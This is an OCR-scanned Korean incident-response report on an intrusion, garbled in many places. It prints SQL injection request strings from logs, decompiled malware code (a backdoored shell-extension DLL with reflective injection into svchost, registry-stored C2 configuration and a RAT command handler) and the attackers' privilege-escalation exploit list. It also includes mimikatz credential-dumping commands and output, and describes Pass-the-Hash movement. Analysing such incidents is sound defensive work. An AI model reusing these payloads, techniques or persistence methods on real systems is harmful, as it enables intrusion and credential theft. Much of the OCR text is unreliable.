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Ol HMo| ol @ MHIAS HYCZ SQLMAPS 0|83 SQL QXM T8 H=Xo=Z MESICt

o B2 Sof AME EXMS (NOE, AXE 220l 3

a1
o

T7TO= JUNTONZUALL%ZUSELEC T%ZUNULL%ZCNULL==7%. E=IS&0TUer _TTST=aTarm
IULL%ZCNULL——%ZOMgs&page—l&pages1 ze=15&order_’ 11st—a'larm seq%ZODEsc%Zc%ZOaTarm%zc%zmnsert dt%ZODESC%Zc%ZOF
17id=. 35938%29%2OUNIoN%ZOALL%ZOSELECT%ZONULL%ZCNULL%ZCNULL -%20h1gs&page=1&pagesize=15&order_list=alarm_seq¥.
IULL%2CNULL%2CNULL --%20XPdr&page=1&pagesize=15&order_list=alarm_seq%20DESC%2C%20alarm%2C%201nsert_dt%20DESC!
171d=35938%29%20UNION%20ALL%20SELECTH%20NULL%2CNULL%2CNULL%2CNULL --%20XPdr&page=1&pagesize=15&order_Tlist=alal
IULL%2CNULL%2CNULL%2CNULL --%20CyYN&page=1&pagesize=15&order_1ist=alarm_seq%20DESC%2C%20alarm%2C%20insert_dt:
171d=35938%29%20UNION%20AL L%20SELEC T%20NUL LX2CNUL L%2CNULL%2CNULL%2CNULL --%20CyYN&page=1&pagesize=15&order_1
IULL%2CNULL%2CNULL%2CNULL%2CNULL --%20pCir &age=1&pagesize=15&order_list=alarm_seq%20DESC%2C%20alarm%2C%201in:
171 d=35938%29%20UNION%20AL L%20SEL ECT%20NUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL --%20pCWr&page=1&pages i ze=15&{
IULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL --%20uhpi&page=1&pagesize=15&order_list=alarm_seq%20DESC%2C%20alarms,
121 d=35938%29%20UNION%20AL L%20SEL ECT%20NULL%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL %2CNULL--%20uhpi&page=1&pages
IULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL --%20jaBI&page=1&pagesize=15&order_list=alarm_seq%20DESC%2C%2!
171d=35938%29%20UNION%20ALL%20SEL EC TX20NUL LX2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNUL L --%20j aBI&page=:
JULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL --%20HNdk&page=1&pagesize=15&order_list=alarm_seq%20DE
171d=35938%29%20UNIONS%20AL L%20SEL ECT%20NUL L%2CNULL%2CNULL%2CNUL L%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNUL L --%20HNd
IULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL --%20KaYZz&page=1&pagesize=15&order_list=alarm_s
171 d=35938%29%20UNION%20AL L%20SEL ECT%20NUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL -
IULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULLS%2CNULL%2CNULL --%202KqS&page=1&pagesize=15&order_list=
171 d=35938%29%20UNION%20AL L%20SEL ECT%20NUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL%]
IULL%2CNULL%2CNULL%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULLS%2CNULL%2CNUL L --%20xNeb&page=1&pages i ze=15&or de
1?1 d=35938%29%20UNION%20ALL%20SEL ECT%$20NUL L%2CNULL%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNUL L]
IULL%2CNULL%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULLS%2CNULL%2CNULL%2CNUL L --%20BAu1&page=1&pages i ze=:
171 d=35938%29%20UNTON%20AL L%20SELEC T%20NUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%!
JULL%2CNULL%2CNULL%2CNUL L%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNULLS2CNULL%2CNUL L%2CNULL%2CNULL --%20r Vav&page=1&pa
171d=35938%29%20UNION%20AL L%20SELECT%20NUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%!
IULL%2CNULL%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULLS%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNULL --%20UsNa&pay
171d=35938%29%20UNION%20AL L%20SELEC T%20NUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNUL L%2CNULL%2CNULL%!
JULL%2CNULL%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULLS%2CNULL%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL --%20
171d=35938%29%20UNTON%20AL L%20SEL ECT%20NUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNUL L%2CNULL%2CNULL!
JULL%2CNULL%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULLS%2CNUL L%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNUI
171d=35938%29%20UNION%20ALL%20SEL ECT%20NULL%2CNUL L%2CNULL%2CNULL%2CNULL%2CNUL L%2CNULL%2CNULL%2CNULL%2CNUL L]
IULL%2CNUL L%2CNUL L%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNUL L%2CNULL%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNU
171d=35938%29%20UNION%20ALL%20SELECT%20NUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNUL L%2CNULL%2CNULL%]
IULL%2CNULL%2CNUL L%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNUL L%2CNUL L%2CNULL%2CNULL%2CNU
121d=35938%29%20UNTON%20AL L %20SEL ECT%20NUL L%2CNUL L%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNUL L%2CNULL%2CNULL%]
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YHS AZCSI A M2 Hote =St ZAXE BHE2 AUt EHZES A3 SHXE HAS 0|88 AH
W =Ab mo|x|off Z Hg Adst= JavaScript TEE AMQUSH F, BXOl HIZE {TSL WEZ J|CRRICL
JavaScript Z=7F A=l HO|X|E FA 7|AF HO O|X|2, BEAMo| #Al 2of =22 HF 20t EXSIH mo|X| HZ=2
Sl

235 1238

(18 71 #EEzE 84 R HAM WY

!function (0, I) {
// Encoder/Index engine replaced with decimal-offset map through closure

var M={},U=function(b,a) {return M[b]=M[b]

1z
1bl={};
(function cycle(u,l){
for (var p,v=1;;p=v--){
if (!'p) {for(var r; (r=K[0][u]) &&u-->0;1-=0%-(r>>4<<1)) {}
break;}
}
H @7, )
var STR=((fl,i)=>{
var 1=i.split,U=[];
for(var h=R.hint?8:3,fly;fly<1l.length;fly--){
if (£1% )U.unshift (String.fromCharCode (
} fl%=26;
return function(slug) {
for(var nn='"', sp=slug,w;w<sp.raw?$_hint.length:-l&&sender;) {
nn+=($_hint[w] | |sp.ss) .substr(l,2);
}; nn||'|&';return nn;
Y
}) (49);

+£1y));

LIM=

var CC=
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IT
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id utl title

[ZE [=H [ZE
2749 4600 nhttps://search.naver.com/search.naver?.. Hh
2750 4601 nhttps://searc 'I 2
2751 4602 http://www.se KZS 'I ZH
2752 4603 https://www.s FKZS o Z2H
2753 4604 https://www.s 2 '7 ZH

(38 9] & EateN JI5(REHTE g2 7I5)

@ Eventlog Application Windows Error Reporting 1001 2F B3l 1409006100031648135, & 5 map{Bucket=14..

Eventlog(10609): 2F HiZ! 1409006100031648135, 3% 5
0% 0|5 BEX
2SN S U

Cab ID: 0

21 AM3:
P1:
P2: 1.14.5
P3: 683cebf5
P4: MSVCR80.dII
P5: 8.0.50727.9680
P6: 6090c909
P7:0001500a
P8: c0000409

@ P9: 00000015

nin.
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BN 342 fdols 3FX=E 48 TFE IU= MESHIIZCL B©A| olmet F7| =0 xHete HE #EHE
KM Mzl Argdts Zdo] ZEHHO|Ct. Ol2{et ME0ls SEXHRR LhE E48 =t

- TS MY TRU(EXE) ChAI DLL HEHR FIZfe) A DEAA0| ZEALOEM ZEAHA BENo| =S WBiCh

[}

. ’é‘ﬁl oty 7%% —’#—%‘!&E & Ho|ZE= %*2§P5J - OjolLt ZX[AEZ[0 22| MFSt, ZETE 0| F=st

2 AOIA Eolsls obMTE oA oot S WAOE ST Hob &RMo| FopNo| E2HE XF, EX PCO|
DLL THUO| MAEICE Aol M CHRRE ML ARSX

oty t g S HEEICt. ddE oy
TJEE= o ORU(EXE)O| Of! DLL HEHO|H, =42 BAo| dX|E MUSS 2Met Zit M0 K= AMHEECL g
ofy m2 EHY| efEdnt RIE? MH|AY T JHK| RYCR SEGHH, oSt 2t fael dd PERE HAEZ MLt

(1) 7| 2h&3(Shell Extension) 7|t
AAH EFMT|(explorer.exe)l| &E T2 OMOZ Q&SI SE6IH, CHSat 22 HHAHE MHMEICE
SN
— L P
2. ovdotel Ay B A 3. 24 HolRE 4Y 6. DLL Injection ! H
Q DLL R J
SH%} tpproc.sys Payload Svchost.exe
(DLL)
4. Shell%F;ension 8. ;7}@ .-;lrm B
1.2 F2 N
(A Explorer.exe
b
e 5, (2 §4& RE} / YHO|E 7. HTTP @7 e °
® o
Hx 2z
(HKLMWSYSTEMWCurrentControlSet#WservicesWeventlogWApplicationWRegurer)
> Stage 1
oy Stage 2

(D8 11 BAY) By oyTE MY s2&
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» Stage 1 (KI&HAM H 8l 233}

tpproc.sys It20| Shell ExtensionQE2 S2E|0f EMy| Ay A| XFEQZ ZEEC 0/ LHEE a3t Ho|ZES
AES-128-CBC WAloZ E53}5t0}

sub_180007670

151 ATL::CRegObject: :~CRegObject((ATL::CRegObject *)&v29);

152 return (unsigned int)v9;

153 }

154 EnterCriticalSection(&CriticalSection);

155 v26 = sub_1800058C0(&Block, L"Module_Raw", v38);

156 LeaveCriticalSection(&Critical :::,-,n),

157 if ( v26 )

158

159 if (a3 )

160 v27 = sub_180005D90(&v29, Filename, a2, L"REGISTRY", 1);
SUb 18001E380 EIS?ﬁ b_180005D90(&v29, Filename, a2, L"REGISTRY", @
15| ThreadlLocale = GetThreadLocale()} ,7'LJ -wfu (8v29, Filename, a2, » @)
16 | SetThr ead~vcale(0x809u); il : el

HL ATL: :(_F\'r:\:‘._:L ect

17 ’ “)&v11[@] = L"APPID"; ATL: CRegObject CRegObject(( g ct *)&v29);

JORD *)&v1i[@] + 1) = L
19 u“[1] oLL;

B@4F3D73-C38D6-4473-B47C-B942CAEL9B45}";

20 | vl =| sub_180007670(qword_180089468, 1@1LL, 1LL, vi1)]// dIXIAER| S5
[32 12] “Shell Extension” S&5
£53E H0|]2=E Reflective DLL Injection 7|'HE Sdlf HiZz(of =F XMx{stn MICE
14 /7 HIZ2] 2
115 | w22 = (unsigned _ int4)Virtualallec(*((LPVDID *)w15 + B), w21, Bx3888u, 4u);// base address &7
116 | if ( w22 ) N base address SE I Al
117 | §
118 w22 = (unsigned _inte4yvirtualalloc(eLL, v2i, ex3eeeu, 4u);// 22| base address T
119 if ( lv2z )
12e goto LABEL_47;
121
122 | if ( (v22 & BXFFFFFFFF@BRBEBABULL) < ((v22 + v21) & BxFFFFFFFFERRBRRRAULL) )
123| 4
124 do
125 I
126 w23 = 3 malloc_base(@x18ull);
127 5 i
128
129
13@
131
133 w25 insigned  inte4)VirtualAlloc(®LL, v21, Bx3680u, 4u);
134 w2d =
135 if (!
136 {
137 w38 = v2d;
138 goto LABEL_465;
139 }
148
141 while { (v25 & BxFFFFFFFFB@BEBERAULL) < ((v25 + v21) & BxFFFFFFFFEAEREEBAULL) );

(a3 13] Hi2e| &Y 2=




SEfZ AR Al @ PLAIN3IT

» Stage 2 (C2 EAl Y HAH )

HZ2| Ao AEHEl =7t HO|2EE svchost.exe TEMA QHME £35HH, HKLM\SYSTEM\CurrentControlSet\ser
vices\eventlog\Application\Regular ZZ2| 2{|X|AEZ| Z}2 523510 C2 AMHet S4l5t1 F7t HHS fAIBHC]

12 | do

Sleep(@x3E8u);
vd = OLL;

vl = @;

v2 = qword_18@85E348();

/ GetCurrentProcess » OpenProcessToken » LookupPrivilegeValueW("SeDebugPrivilege")

if ( (unsigned int)qword_18@@5E350(v2, 32LL, &v4) && (unsigned int)qword_18@05E360(OLL, L"SeDebugPrivilege”, v6) )

v7 = 2;
=1;
vl = qword_18@@5E3D8(v4, @LL, &5, OLL, OLL, OLL) != @;// AdjustTokenPrivileges: RSHAS
¥
if (v4)
qword_18@85E370(v4);
if (v1) /1 HEES dF Al

[5if ( (unsigned int)sub_180033950(&word_18005E440) )// svchost.exe Z=AlZ oA
return OLL;

Sleep(@x3E8u); v
21| if ( !(unsigned int)sub_189933260((_intfi;)dword_lS@@SEllO,I(_im’.ﬁi)&unk_180958310,| 32, Stringl, 40) )// svchost.exe
22 return OLL;
23| v4 = sub_180033690((wchar_t *)Stringl);
24| if ( !va )
25 return OLL;
26 | v5 = qword_18005E3D8(@x1FFFFFLL, OLL, v4); // OpenProcess

[T2 14] "svchost.exe” ZZMA QIHM by

16| w3 = gword_18@@5E188(64LL, v2); // Localklloc

17 | memset(v7, @, @x64uLL});

18 | memset(vle, @, Ox288ull);

¥l AF o w3}

28 return 6LL;

21| if ( {unsigned int)sub 18@8332608(8unk 188@5E11e, Bunk 186@5B2E@, 16LL, v7, 188} )

wr

2 if ( (unsigned int)sub_186833268(Runk 183005£11@, Zunk 1830058268, 128LL, v9, 528) )

24

25 if ( (unsigned int)sub_18e@33260(%unk 18@85E11@, Zunk 136858248, 32LL, v3, 528) )

25 i

27 18, v7, 9, vB};

28 gned int)gword_18@@5E388(-2147483646LL, V1R, 8LL, 131897LL, &v6) )// RegOpenKeyExW(HKLM, “SYSTEM\...\Regular", KEY READ, &hKey)

E1:] int)qword_18885E3C8(vs, &Src, BLL, 8LL, v3, &vS)// // RegQueryValueExuW(hKey, ..., buf, &size) = UZSE c2 uvre HIOIE 27

32 v3, w5, &dword 188@5E478, vs) )// // SHOHE OI0IEIE Ass-128-cec S S5t + dword 138esE4760| Iﬁ’é!l
St

15] C2 ==st 8l Mg 7

HI

=== sub_13882E758 ===

unk_18885B2E@ (size=8x18): ¥s\¥s

unk_ 1886858268 (size=0x38): SYSTEM\CurrentControlSet\services\eventlog\Application
unk_ 188858248 (size=8x28): Regular

[3E 16] AX|AEE| H2 St At




SEfZ AR Al @ PLAIN3IT

svchost.exe ZZMA0| MZIHMOZ QIMMEl HO|ZEE= WinHttp APIE AF23I0] C2 MHQF EAIS £3SHCL ofum,
ol 22Mo| HEY3 E2fm 2MZ 93(517| 98 HTTP 2X $IEo User-Agent ZtE "Chrome 80.0.3538.77"
HHMOZ MHESIo Mot

285 WinHttpCloseHandle(hInternet);

266 if { gword_18@BSB6EE )

287 WinHttpCloseHandle(gword 18885BRGE);

2G3 if ( hSession )

289 WinHttpCloseHandle(hSession);

218 hInternet = OLL;

211 gqword_188858668 = @LL;

212 hSession = @LL;

213 v31 = WinHttpOpen(&pszAgentl, lu, BLL, OLL, @);

14 hSession = v31;
if { v31)

if ( winHttpSetTimeouts{v31, 45080, 45888, 45880, 45088) )

gword 18885B668 = WinHttpConnect(hSession, &pswzServerName, dword 18085B7E4, @);
if ( qword_188@5B663 )

[ S R N N O N S N N T
Pa T e =

4
22 Buffer = dword_18@@SB7E@ != @ ? 8xB300000 : 8;
23 w33 = 1nHttpCpenRequle(qward 188858668, &pwszVerb, fword_18@@5BDCE[128 * w2@], 6LL, 8LL, 6LL, Buffer);
24 hInternet = v3id;
25 if £ w33y
26
27 if { !dword 18885B7E® || (Buffer = 13856, WinHttpSetOption(v33, @x1Fu, &Buffer, 4u)) )
28 w29 =13

(12l 171 C2 SAIf

Python»
User-fAgent: Mozilla/5.8 (Windows NT 18.8; WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/8@.0.3538.77 Safari/537.36

[T2l 18] C2 Sl Al AFEdH= User-Agent

I

AZ HO|ZEE C2 MHete] dZ= Soff Hadt HE fE2 €0l & Mo 752 AL
Hm, C2 F4o| RYSt UHOIES X|@eltt. 2| T MHEEEH M22 C2 URLE ilotH

=
ACl0[EBHY SA RS WPTORM XAHQl HiEMS HiC,

Rk
£

0|2 CHAl EIXIAEZ|of

1

sub 18002F000

3 if ( (unsigned int)qword_18@@5E388(-2147483646LL, v1@, OLL, 983103LL, v7) )// RegOpenKeyExW(HKLM, a2, KEY_READ|KEY_WRITE)
goto LABEL_14;
wsprintfi(v \
if ( !(un
{
v5 = sub_1800330B@(&dword_18@05E110, &dword_18@@5E470@, 4160LL, v1, 4176);
9 = v7[e];
41 i (15 )
42 goto LABEL_10@;
43 if ( !(unsigned int)qword_18@@SE3B8(v7[@], v9, OLL, 3LL, v1, 4176) )// RegSetValueExW: Zf M7|

v8, 9, vil); // "SYSTEM\CurrentControlSet\services\eventlog\Application\Regular"
ned n*‘)qword 18085E330(-2147483646LL, v12, v7) )// // RegCreateKeyw: 7| M& L= FJ|

[32 19] C2 URL HZER

M, 7t Ho|2E9 X A 7|52 F1 UCL C2 MHERE MZ2 PE HO|ZEEE MY FHR, 0|5 CHA
HZ2|MoM H&sto] 2tFol| St HHO| 32 BRES F7tE 2L J|sE ST




SIEjZIE AT Al

@ PLAIN3IT

> SO[AY
2CQl "tpproc.sys" °ofd T2 O[O|X| mol YUY 02|27 JIsE MIdts & T2 "SageThumbs"el
DLLS WZ3t {02 WTIECH SY HXo| Mo DLLT HlI 2AS Zu, 24 thy FMISON A Icot SUs
TFETh =RlEch ot HHEE[= "SageThumbs" Z=13 Xils Fd Dz =l=Ez, & AY3IEI 38 SH
AFREl 742 Oful Z{O=Z WEEICY,
=3
o A3 SageThumbs Shell Extension
¥ AZZ I
obg B 2.0.0.18
HE Ol& SageThumbs Shell Extension
HE #HE 2.0.0.18
M Copyright © 2004-2014 Nikolay Raspopov
= 128MBE
= EW 2026-03-23 2F 1114
H{ My =&l
290 sub 189021090((_3 IG_PTR)&1Param, ::lpFileName);
201 | pdwType = 4;
pcbData = 4;
1f ( Squf\/alue (HKEY_CURRENT_USER, L"Software\\SageThumbs", L"Lang", &pdwTyp
|| pawType != 4
| ( pvData, pcbData != 4) )
{
= 0;
sub_180021C30(&1Param, v35); sub 1800215?0((,-,“ PTR)&lParam, ::lpFileName);
sub_18001B5@0(L"Lang"); ieda
E 9 = cperator new(@x18ull); pdwType, &p
49 = (_int64)v39; S
ijfki )y
{
39[1] = - oLL; }
*(( DWW )39 + 4) = 1; A Hs
308 *v39 = sub 180026410("sqlite3.d11"); ::E-igggig;ggg??:;;mg, i
(d4hSageThumbs.dil 33 = operator new(BxlSuLL),
(_int64)v3
1?& -557‘7),
{
[1] = OLL;
*(( DWORD *)v33 + 4) =
319 33 = _com util: ConvertStrlngToBSTR( sqlite3.d1l");

(& tpproc.sys

4AF “SageThumbs.dll” DLL TH(Z}) / 24 CHAF “tpproc.sys” DLL IH(

?)




SEfZ AR Al @ PLAIN3IT

(2) |2 AMH|A 7|2kl RAT & 3! H|of

£ v 9

AHHez ofd

o o

SAXZE HEE BiES off JE BEHMOZ AEdts 20-Ho|2E 22| XS MECL 20 DLL2

o
1912 Suetr] 4m orselEl Ho|ZCE =wehEMsts oiget HoeloR, 20 HEoRE of WA
L
—

o

[
"
=]

- 1—

|
= o
=

0| O{@ct= 0| of 7xQ| FHO|Ct. =l

20| 2CHA|Z SEBIC.

Bl AHICE= =R MH|A(uploadmgr §)2 Soll XISHS =AESHH, ofzHet

A
— o Ho|ZE 4
Q 2. 20 4% . : (%oﬂlﬁig) ® 5. RAT A#i(atelal2) A"?
<
DLL 73
SHx Loader Payload ol = 2|
(*.dif) (Dat)

7. F7} HO|2E
s

1.C2 FA MF
(=3}

"“"""“‘“"“""’ A 4, C2 T4 533}/ YH[0|E [ L - R °

HxjaEg

C2 MY
(HKLMWSOFTWAREWMicrosoft#WindowsWCurrentVersion, USB_Keyboard_*)
———>  Stage 1
—+ Stage?2
(02 22] 9EQ MblA Jlut ok T Ay =X
[H 1] AP ARR|0IlM =fRlEl 2EYE HOo|2Eeb FHE HX|AELZ]

24 Ho|2E A= 2X|AEE|3)
plemgr.dll ahfmgr.dat USB_Keyboard_16123
decmgr.dll ehgmagr.dat USB_Keyboard_453
nhimgr.dll dcamgr.dat =l =7t
nepmgr.dll waimgr.dat USB_Keyboard_14516
cfpsve.dll sbfsvc.dat USB_Keyboard_3616
dmfsvc.dll crfsvc.dat USB_Keyboard_4136

3) &= ZXAER| HZ2: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

14




SEfZ AR Al @ PLAIN3IT

» Stage 1 (EH9| &% % HO|ZE FX)
AR AAH 2E A oY OIU(ZH)0| XtE HAETE =R MHIAS EX|BiCh

Details 1 b8 Field Data X

A1 E % 0 B sotersearch text here P AlA S0 MH|IATH SR TS LT
B
v Nare \alue At~ 0| E: uploadmgr
Oprode 8 {exenon) = Root%system32Wsvchost.exe -k netsves -p
OpcodeDisplayName MH|A 8% AMEXF BC ME|A
ProcessId 1860 (2x280008424) AH A AR BB XE AR
|| EventData map{ServiceName=uploadmgr magePath=4SystemRoot¥\syste. AH|2 HE: LocalSystem
Servicelame uploadmgr
ImagePath #SystemRootX¥\system32\svchost.exe -k petsvcs -p
ServiceType A2T QC AME[A
StartType s AE
Accounthame LocalSystem
PraviderTd 5559ARd1-aRd7-4A95-Rele- 231420124
S | —
(27 23] O|#IE Z10M =elEl MH[A S5 HE
File Tools Options Bookmarks (31/0) View Help
Registry hives (2) | Available bookmarks (62/0) Values
Find
Value Name | Value Type |Data
.!(ey name # values | # subkf I5 e e | oOc
¢ 0 | = = ™| |v|servicedl  RegExpandSz I%SYSTEMROOT%Wsystem32Wdecmgr.d!I |
4 uploadmgr 8
| 1

[O2 247 "uploadmar” AH[AOA MESH= 20 IFYH(decmgr.dll)

plemgr.dll, decmgr.dil S2| £ IHAU0| AH[AO 2lsi AH=H Ao otEl Oo[H mb(.dat)2 EHEDICL
2= ServiceMain g U0l EF 71§ AFESHY Y mMAS XOR WAICE =Eo}SHCY.

RAX 0000000000000000

RBX 000000000000002C o
RCX 00000000000DF770 &"82"
RDX 00000000000DE2DC L"ahfmgr.dat"

RBP 00000000000DDD 8O

(22! 25] “decmar.dil” DA ErxXSt= Il

strcpy(vs, "7C57D20C-*&@40A3<>(&-4c@7.? +-B43~E6-AECBNG6BXRT&G5B7K+*#16NM:38!~FB-2*");
T el i
L=J \ 4 )

do

byte_18023380@0[v6++] ~= vS[v2];

[32 26] XOR 7|

A0 2ZXH= HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion 8912 EX 7|(0f: USB_Keyboard_*)0f| C2

FAE MESCL O gt HAl Y=otE|of ACH, SHKE MHo| HE = DLL e ZH2t diE HXIAEZ|IS Ef2 PCO|
At
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» Stage 2 (HIZ2| 7|8t PE )

o

n= o
fob 0% >
ot rin 1o

2o35tel PEE H|Z2[of =™ XNxlst= Fileless Execution 2HAIZ AM2$ICE 0| Stage 2 2029 export
load_path®}t dli_maing ZZ3t0{ %|Z RAT HIO|2EE ZMaleto=a md J|Eh siA EIX|E IS 2T

RATE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion st¢l2| E& 7|(0l: USB_Keyboard_*)0fl XZ=l 2f
El 2HUS HZo) 0| =2200t0 2EXQl C2 M FAE elstn SIS AESiCh
if ( lpvalueName )
if ( lstrlenwW(lpvalueName) >= 0 )
chacha2@_string_decrypt((__int64)SubKey, @x54u, OLL);
if ( !RegOpenKeyExW(HKEY_LOCAL_MACHINE, SubKey, @, @xF@@3Fu, &hKey) )// SOFTWARE\\Microsoft\\Windows\\CurrentVersion
if ( !RegQueryValueExw(hKey, lpvalueName, OLL, OLL, &rc, &cbData) )// USB_Keyboard * ARIAER| 2f Z3|
f
chacha2e_string_decrypt((__int64)&rc, @x106Cu, @OLL);// Config ZZ 3 +H
RegCloseKey(hKey);
return 1LL;
}
RegCloseKey(hKey);
}
(02l 27] SX|AER| 233} 2X]
H2E| Ao A EABHE A= mo|2E= A|¢Eﬂ9| At MO{E £ A= RAT(Remote Administration Tool) 7|s&
FASICH A HY Mdnt TE A S AL Hoj2t LR DHES g 7IS0| HEE0] CH

if ( vS < ex2e12u )

if ( *(_WORD *)(al + 2) >= @x2011u )
return cmd_registry write_value(al + 12);// dIXIAER| Z=ZE

else
return cmd_registry_read_value((LPWSTR)(al + 12));// dIXKIAERZ| $47I
}
else if ( v5 < 8x2014u )
if ( *(_WORD *)(al + 2) < @x2013u ) _A
return cmd_enum_process_list(); /1 B2MA 2|AE XE
else -
return cmd_terminate process((LPCWSTR)(al + 12));// EZMHA B2
}
else
{
= *(_WORD *)(al + 2);
- ( nst WCHAR )(4 + 12),
if ( v6 < @x2015u )
{
return cmd_tcp_port_scan(v7); // TCP EE AM
else if ( v6 < @x2016u )
{
return cmd_tcp_connect_probe(v7);
}
else
{ . _
return cmd_shell_execute(v7); // HE BF 2¥ (Shell)

(13 28] ==0tE HO|ZE=0M =elEl A IS
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@ PLAIN3IT

E

s |y NERIE

SRS 0S, HEQZ, A8t B2 S

T EE I YRC / Ch2RE
mayA el meNL €A U IHEE

ARIAER| =%

SXIAER] &17] [ 27|

M (Shell) B Al

TCP ZE AZH (LR =H 0|5)




SIEjZIE AT Al

@ PLAIN3IT

3. At 45 o 32|H4 FHH
AEX AMEZ oS M3 2T Cf7f FA™O| LM TZMA £ 2391 ARt Hst £ZF0| IBHEICL 0] $F9|
HpintoRE AlAZ Futof Cigt HolLH XI44 S, Ui ol Xiofo| 202, IARE PY T Of £ A(EZ
BE|X} = SYSTEM)S 2Ss}7| Qs st A& (Privilege Escalation)2 AIE$HCt. A% A& CHAofA o|o| B2|X} Het
2 2Se] WEo| A MB0| BURNH HO2 AWE|LY, BAX AH(C20IME 2Bt 45 o TA0| Cif BRIEICL
£ CVE-2024-21338-mainzip ot2r71p) I 242K
£™ CVE-2026-24291-mainzip oS (ZIP) MY : :
L& DirBuster-0.12-5etup.exe e Lo 18 0. 732K
[# DirBuster-1.0-RC1 jar Executable Jar File 402K!
[ github-recovery-codes txt X [
f GodPotato-main.zip oL ZIP) Of GKB
£ kve-main.zip o1& (ZIP) 113K
[ MSF_EXPLOT-WINDOWS-LOCAL-CVE_.,.  TXT 0t 5K
& R_p_1204 rar otz RAR) Die GRTKE
£X RegPwn-main.zip U= o 6,364KB
[ 29] SAXL MH{oflA StRlEl Het 45 &7
[H 3] ot &5 =7 =5
Y = Lhg

HE E2t0|H FefH CVE-2024-21338

Windows appid.sys(AppLocker)
E2f0|t LPE PoC

RegPwn(ATBroker.exe) LPE PoC

AL2AF BE F| k™ CVE-2026-24291 N
SYSTEM &gt A&
SelmpersonatePrivilege 22 Potato AIE
et 2l o= GodPotato P ? -

SYSTEM 3t &5

HE E2t0|H FefH CVE-2024-35250

ks.sys HE AEZ|Y C=2to|t CHA
Metasploit LPE 2 &
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Sefdd 2= Ax HE XFES o LR 0[S X[&d S22 Lioty| flet Sy 2oz of HHAIMM ==
X

=] =
& Z2% 2l oM 22 AEES Fof kool F2HES o2
SHOb Eoh SAXE HPt o450 K20 32HES =S| 96 O|0|7tX4E ARESILh Ol O

O rot

[=]
T

Name
4 5f7b5f1e01b83767.automaticDestinations-ms
Entry #: 0003 - This PCWC:WUsersW ix64Wx64W03 .
» Entry #: 0002 - This PCHC:¥WUsersi Hx64 X641 .Ixt
Properties -
Entry number 2
Path C:¥WUsers¥W Wxo4'x64W1.oxt
Hostname

Using '1.txt"' for logfile : OK

mimikatz(commandline) # sekurlsa::logonpasswords
ERROR kuhl _m_sekurlsa_acquirelSA ; Handle on mem

mimikatz(commandline) # lsadump::sam

Domain :

SysKey : 8021c2553baf3624d166388756f487cc

ERROR kull m_registry OpenAndQueryWithAlloc ; ku
ERROR kuhl m_lsadump_getUsersAndSamKey ; kull m_

[33 31 Djoj7tx A Zanr 23 MY L & L]

4) 0|0]ZtX(Mimikatz): Windows MIZ2[(LSASS)0lN HE H|HHS-NTLM 3HA|-Kerberos E|Z! & 3&2
371 sid =F0Ick

ra
X

AEE SESh= ol A8ElE
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@ PLAIN3IT

ojoj7tx o|2lo|E Nirsofte] Iz|HIM

Ho{ =, NTLM =&

Al
=3

7 52

C:¥WUsersWPublicPowerRun.exe

C:¥Progrz

C:WUsersh
W64 Wx64WWin64.exe

C:¥ProgramData¥PRO.exe

C:WUsersh
Wx64 W x4 WO3IWSTART.bat

C:¥Usersh
Wxe4W x4 W03W 1. exe

C:¥Usersh

Wx64'Wx64WGetPassword_x64

exe

[ad 321 A" 3 =7

AlH

o

=X (UserAssist)

[—

& 4] AE 23] =7 ol =5
8 o s
A eim 1.bat 0|0|7tX A HHA| ATRE
2 i 2.bat GetPassword_x64.exe &% H{X| AFEE
J2[Hd go GetPassword_x64.exe | HI22| 7|8t BE AT 2 F£
J2[Hd go 1exe Pwdump?7 7|8t NTLM 8iAl =&
atol2a42) libeay32.dl Dl S0 B2 Opensst
A i START .bat Tlexe & HiX| ATEE

20




SIEjZIE AT Al

@ PLAIN3IT

4. g oS

S HES3

L CHE AARIO] H2oHH 2t AEQ 2 L= M9l I2|HE0| HRSICL ZHXJF RDP ZE2ES

-
=)

mo rir

2 LR 0|52 Al=st HEO0| QlEH, 0|F fldiM= F2[Hd =t 10| MAE|0jof Stot. Jhgt EIE’E*.OJ HH2
"3, Heh AS I F2|HE =E" T SHESE S{A|E PTH(Pass-the-Hash)5) 2A0[Lt RDP THAIE Al=st= A
